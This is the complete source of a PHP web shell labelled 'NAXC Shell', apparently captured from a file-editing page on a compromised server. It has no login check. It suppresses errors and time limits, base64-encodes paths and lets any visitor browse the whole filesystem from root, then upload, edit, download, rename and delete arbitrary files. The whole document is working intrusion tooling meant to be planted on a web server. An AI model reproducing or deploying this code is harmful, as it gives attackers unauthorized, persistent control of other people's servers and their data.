Nobdust
Edit File: nacc-min.php
<?= /** * NAXC.PHP — Fix directory navigation * * Changes in this patch: * - Accept directory parameter from GET as well as POST so navigation works reliably. * - goDir() now navigates via GET (location.href) which is simpler and avoids any POST/redirect interference. * - redirect() preserves current directory by default so after actions you stay in the same folder. * - Minor safety and path normalization improvements. * * Behaviour remains the same for edit/download/delete/rename/upload tools. */ error_reporting(0); @set_time_limit(0); @ini_set('display_errors', 0); session_start(); /* ============================================================ BASIC ENV SETUP ============================================================ */ define('SELF', basename(__FILE__)); define('ROOT', str_replace('\\', '/', getcwd())); /* * Accept `d` (base64-encoded path) from either GET or POST. * Using GET for navigation (goDir will now do a GET). POST is still supported * for form-based actions like upload/rename/save/delete/download. */ $raw_d = null; if (isset($_GET['d'])) { $raw_d = $_GET['d']; } elseif (isset($_POST['d'])) { $raw_d = $_POST['d']; } $cwd = ROOT; if (!empty($raw_d)) { // raw_d is expected base64 encoded string $decoded = base64_decode($raw_d, true); if ($decoded !== false && $decoded !== '') { // realpath might return false for non-existing paths; keep decoded if realpath fails $real = realpath($decoded); $cwd = $real !== false ? str_replace('\\', '/', $real) : str_replace('\\', '/', $decoded); } } $cwd = rtrim($cwd, '/'); if ($cwd === '') $cwd = '/'; /* ============================================================ HELPERS ============================================================ */ function h($str) { return htmlspecialchars($str, ENT_QUOTES); } function b64e($v) { return base64_encode($v); } function b64d($v) { return base64_decode($v); } /** * Redirect to SELF and preserve current directory ($cwd) so after actions * user stays in the same folder. */ function redirect($cwd = null) { $url = SELF; if ($cwd !== null) { $url .= '?d=' . urlencode(b64e($cwd)); } else { global $cwd; $url .= '?d=' . urlencode(b64e($cwd)); } header("Location: " . $url); exit; } function alert($msg) { $_SESSION['alert'] = $msg; } function flash() { if (!empty($_SESSION['alert'])) { echo '<div style="padding:10px;margin-bottom:10px;background:#222;color:#0f0">' . h($_SESSION['alert']) . '</div>'; unset($_SESSION['alert']); } } /* ============================================================ FILE OPERATIONS ============================================================ */ function uploadFile($dir) { if (!isset($_FILES['file'])) return; $target = rtrim($dir, '/\\') . '/' . basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { alert('Upload success'); } else { alert('Upload failed'); } } function deleteFile($path) { if (@unlink($path)) { alert('Delete success'); } else { alert('Delete failed'); } } function renameFile($old, $new) { $newPath = dirname($old) . '/' . $new; if (@rename($old, $newPath)) { alert('Rename success'); } else { alert('Rename failed'); } } function saveFile($path, $content) { if (file_put_contents($path, $content) !== false) { alert('File saved'); } else { alert('Save failed'); } } /* ============================================================ ACTION ROUTER (POST actions only; navigation is via GET) ============================================================ */ if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload if (isset($_POST['upload'])) { uploadFile($cwd); redirect($cwd); } // Delete (expects base64 encoded value) if (isset($_POST['delete'])) { $value = b64d($_POST['delete']); deleteFile($value); redirect($cwd); } // Rename (rename form posts rename + newname) if (isset($_POST['rename']) && isset($_POST['newname'])) { $old = b64d($_POST['rename']); $new = $_POST['newname']; renameFile($old, $new); redirect($cwd); } // Save edit if (isset($_POST['save']) && isset($_POST['file'])) { $file = b64d($_POST['file']); $content = isset($_POST['content']) ? $_POST['content'] : ''; saveFile($file, $content); redirect($cwd); } // Download handled later because it sends headers + exits } /* ============================================================ DIRECTORY HELPERS ============================================================ */ function formatSize($bytes) { if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } function perms($file) { $perms = @fileperms($file); if ($perms === false) return '---------'; $info = ($perms & 0x4000) ? 'd' : '-'; $info .= ($perms & 0x0100) ? 'r' : '-'; $info .= ($perms & 0x0080) ? 'w' : '-'; $info .= ($perms & 0x0040) ? 'x' : '-'; $info .= ($perms & 0x0020) ? 'r' : '-'; $info .= ($perms & 0x0010) ? 'w' : '-'; $info .= ($perms & 0x0008) ? 'x' : '-'; $info .= ($perms & 0x0004) ? 'r' : '-'; $info .= ($perms & 0x0002) ? 'w' : '-'; $info .= ($perms & 0x0001) ? 'x' : '-'; return $info; } function breadcrumb($path) { $parts = explode('/', trim($path, '/')); $build = ''; echo '<div style="margin:10px 0;">'; // root link: uses GET navigation echo '<a href="' . SELF . '?d=' . urlencode(b64e('/')) . '">/</a>'; foreach ($parts as $p) { if ($p === '') continue; $build .= '/' . $p; echo ' / <a href="' . SELF . '?d=' . urlencode(b64e($build)) . '">' . h($p) . '</a>'; } echo '</div>'; } /* ============================================================ DIRECTORY LISTING ============================================================ */ $items = @scandir($cwd); $dirs = []; $files = []; if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $cwd . '/' . $item; if (is_dir($full)) { $dirs[] = $item; } else { $files[] = $item; } } } /* ============================================================ UI: HEADER + BREADCRUMB ============================================================ */ ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>NAXC Shell</title> <style> body{background:#0e0e0e;color:#ddd;font-family:monospace} a{color:#5bc0ff;text-decoration:none} table{width:100%;border-collapse:collapse;margin-top:10px} th,td{padding:6px;border-bottom:1px solid #222} th{text-align:left;color:#aaa} tr:hover{background:#151515} input,textarea,button{background:#111;color:#eee;border:1px solid #333;padding:5px} button{cursor:pointer} </style> <script> /** * base64EncodeUnicode: UTF-8 safe base64 */ function base64EncodeUnicode(str) { try { return btoa(unescape(encodeURIComponent(str))); } catch (e) { try { return btoa(str); } catch (e2) { return ''; } } } /** * goDir: navigate using GET with base64-encoded path in `d` param. * This is simpler and ensures navigation works reliably across browsers, * avoids issues with POST handling and redirects. */ function goDir(d) { const encoded = base64EncodeUnicode(d); // use location.href to navigate with GET location.href = '<?= SELF ?>?d=' + encodeURIComponent(encoded); } /** * act: generic POST for edit/download/delete/rename actions * (these need to be POST to allow download and file modifications) */ function act(name, val) { // create and submit a POST form const f = document.createElement('form'); f.method = 'post'; f.style.display = 'none'; const i = document.createElement('input'); i.type = 'hidden'; i.name = name; i.value = base64EncodeUnicode(val); f.appendChild(i); document.body.appendChild(f); f.submit(); } </script> </head> <body> <?php flash(); ?> <h2>NAXC File Manager</h2> <div>Home: <a href="<?php echo basename($_SERVER['PHP_SELF']); ?>" style="color:#ddd;"><?= h(getcwd()) ?></a></div> <?php breadcrumb($cwd); ?> <?php /* ============================================================ DOWNLOAD HANDLER (must be after the listing so we can capture POST actions) ============================================================ */ if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['download'])) { $file = b64d($_POST['download']); if (!is_file($file) || !file_exists($file)) { alert('File not found'); redirect($cwd); } if (ob_get_level()) { ob_end_clean(); } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Content-Length: '.filesize($file)); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Expires: 0'); readfile($file); exit; } /* ============================================================ EDITOR UI ============================================================ */ if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit'])): $file = b64d($_POST['edit']); if (!is_file($file)) { alert('File not editable'); redirect($cwd); } ?> <hr> <h3>Editing: <?= h(basename($file)) ?></h3> <form method="post"> <textarea name="content" style="width:100%;height:350px"><?php echo h(file_get_contents($file)); ?></textarea> <input type="hidden" name="file" value="<?= b64e($file) ?>"> <br><br> <button type="submit" name="save">Save</button> <button type="button" onclick="goDir(<?= json_encode(dirname($file)) ?>)">Cancel</button> </form> <hr> <?php endif; ?> <?php /* ============================================================ RENAME UI ============================================================ */ if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['rename']) && !isset($_POST['newname'])): $file = b64d($_POST['rename']); ?> <hr> <h3>Rename: <?= h(basename($file)) ?></h3> <form method="post"> <input type="text" name="newname" value="<?= h(basename($file)) ?>"> <input type="hidden" name="rename" value="<?= b64e($file) ?>"> <br><br> <button type="submit">Rename</button> <button type="button" onclick="goDir(<?= json_encode(dirname($file)) ?>)">Cancel</button> </form> <hr> <?php endif; ?> <?php /* ============================================================ UPLOAD UI ============================================================ */ ?> <hr> <h3>Upload File</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <!-- keep hidden d so server knows where to upload --> <input type="hidden" name="d" value="<?= b64e($cwd) ?>"> <button type="submit" name="upload">Upload</button> </form> <hr> <table> <tr> <th>Name</th> <th>Size</th> <th>Perms</th> <th>Action</th> </tr> <?php foreach ($dirs as $d): ?> <tr> <td> 📁 <a href="javascript:void(0)" onclick='goDir(<?= json_encode($cwd . "/" . $d) ?>)'><?= h($d) ?></a> </td> <td>—</td> <td><?= perms($cwd.'/'.$d) ?></td> <td>—</td> </tr> <?php endforeach; ?> <?php foreach ($files as $f): $full = $cwd . '/' . $f; ?> <tr> <td>📄 <?= h($f) ?></td> <td><?= formatSize(@filesize($full)) ?></td> <td><?= perms($full) ?></td> <td> <a href="#" onclick="act('edit', <?= htmlspecialchars(json_encode($full), ENT_QUOTES) ?>); return false;">Edit</a> | <a href="#" onclick="act('rename', <?= htmlspecialchars(json_encode($full), ENT_QUOTES) ?>); return false;">Rename</a> | <a href="#" onclick="act('download', <?= htmlspecialchars(json_encode($full), ENT_QUOTES) ?>); return false;">Download</a> | <a href="#" onclick="act('delete', <?= htmlspecialchars(json_encode($full), ENT_QUOTES) ?>); return false;">Delete</a> </td> </tr> <?php endforeach; ?> </table> </body> </html>
Save Changes
Back to Manager